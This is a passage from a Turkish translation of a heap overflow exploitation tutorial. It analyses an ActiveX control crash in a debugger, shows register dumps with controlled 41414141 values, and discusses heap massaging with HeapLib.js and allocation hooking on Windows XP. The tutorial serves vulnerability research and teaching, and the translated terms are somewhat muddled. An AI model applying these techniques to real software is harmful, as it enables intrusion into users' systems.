Ancak tarayıcıyı kapatırken, çöp toplayıcı tüm serbest bırakılmış parçaları çalıştırır ve tahsis eder ve bu nedenle RtlAllocateHeap () e birden çok çağrı yapılır ve hata tetiklenir.
Bu sefer işler biraz daha gerçekçi görünüyor.
Kod:
(384c.16e0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=02270000 ecx=02273f28 edx=02270178 esi=02273f20 edi=41414141
eip=7c9111de esp=0013e544 ebp=0013e764 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
ntdll!RtlAllocateHeap+0x567:
7c9111de 8b10 mov edx,dword ptr [eax] ds:0023:41414141=????????
Harika, bu yüzden potansiyel olarak istismar edilebilir bir durumumuz var.
Bu durumda, flink EAX ve blink EDIdir. XP sp0-1 ve altı altında, basit bir UEF işlevinin üzerine yazıp kontrolü ele alabilirdik.
Ancak tarayıcının, yığını masaj yapmak için güçlü komut dosyası yazma becerisine erişimimiz var, bu nedenle, XP SP3 altındaki güvenlik açığını hedeflemeyi deneyeceğiz.
Yığın düzenlerini analiz ederken, Active X kontrolünün aslında çalışma zamanında kendi yığınını oluşturduğunu ve kilitlenmenin serbest liste ekinde tetiklendiğini hemen fark ettim.
HeapLib.js kitaplığını kullanırken, öbeği oldukça iyi bir şekilde işleyebildim, yani, aktif X kontrol öbeği ** değil ** varsayılan işlemler yığını.
Bu noktada, Windows XP SP3 ve üstü altında * kullanılamaz göründüğünü * söyleyebilirim, elbette bu büyük bir yanlış yorumlama olabilir, ancak anlayabildiğim kadarıyla, nesneler yığını değiştirilemezse, o zaman olamaz sömürülmek.
Kancalama:
Yığın taşması içeren uygulamalarda hata ayıklarken bilmeniz gereken yararlı bir ipucu, ayırma ve serbest bırakma sayısı ve bunların boyutudur.
Bir süreç / iş parçacığı ömrü boyunca, birçok tahsis ve serbest bırakma yapılır ve bunların hepsini ayırmak kesinlikle zaman alır.
Bağışıklık hata ayıklayıcısıyla ilgili güzel bir şey, RtlAllocateHeap () ve RtlFreeHeap () i kancalamak için! Hookheap eklentisini kullanabilmeniz ve böylece herhangi bir işlem sırasında yürütülen tahsislerin / serbest bırakmaların boyutunu ve sayısını bulabilmenizdir.
Ve görebileceğiniz gibi, belirli bir tahsis göze çarpıyor, çok sayıda bayt tahsisi, hedef savunmasız sunucuya bir istek olduğunu gösteriyor gibi görünüyor.
Sonuç
Yığın yöneticilerinin anlamak ve yığın taşmalarını kullanmak çok karmaşıktır, çünkü her durum farklıdır.
Hedef uygulamanın mevcut bağlamını ve içerdiği sınırlamaları anlamak, bir yığın taşmasının yararlanılabilirliğini belirlemenin anahtarıdır.
Microsoft tarafından uygulanan koruma azaltımı, genel anlamda yığın taşması istismarının çoğunu önler, ancak zaman zaman ortaya çıkan ve kötüye kullanılabilen uygulamaya özel durumları görürüz.
Source:https://www.fuzzysecurity.com/tutorials/mr_me/3.html
Translator: Qgenays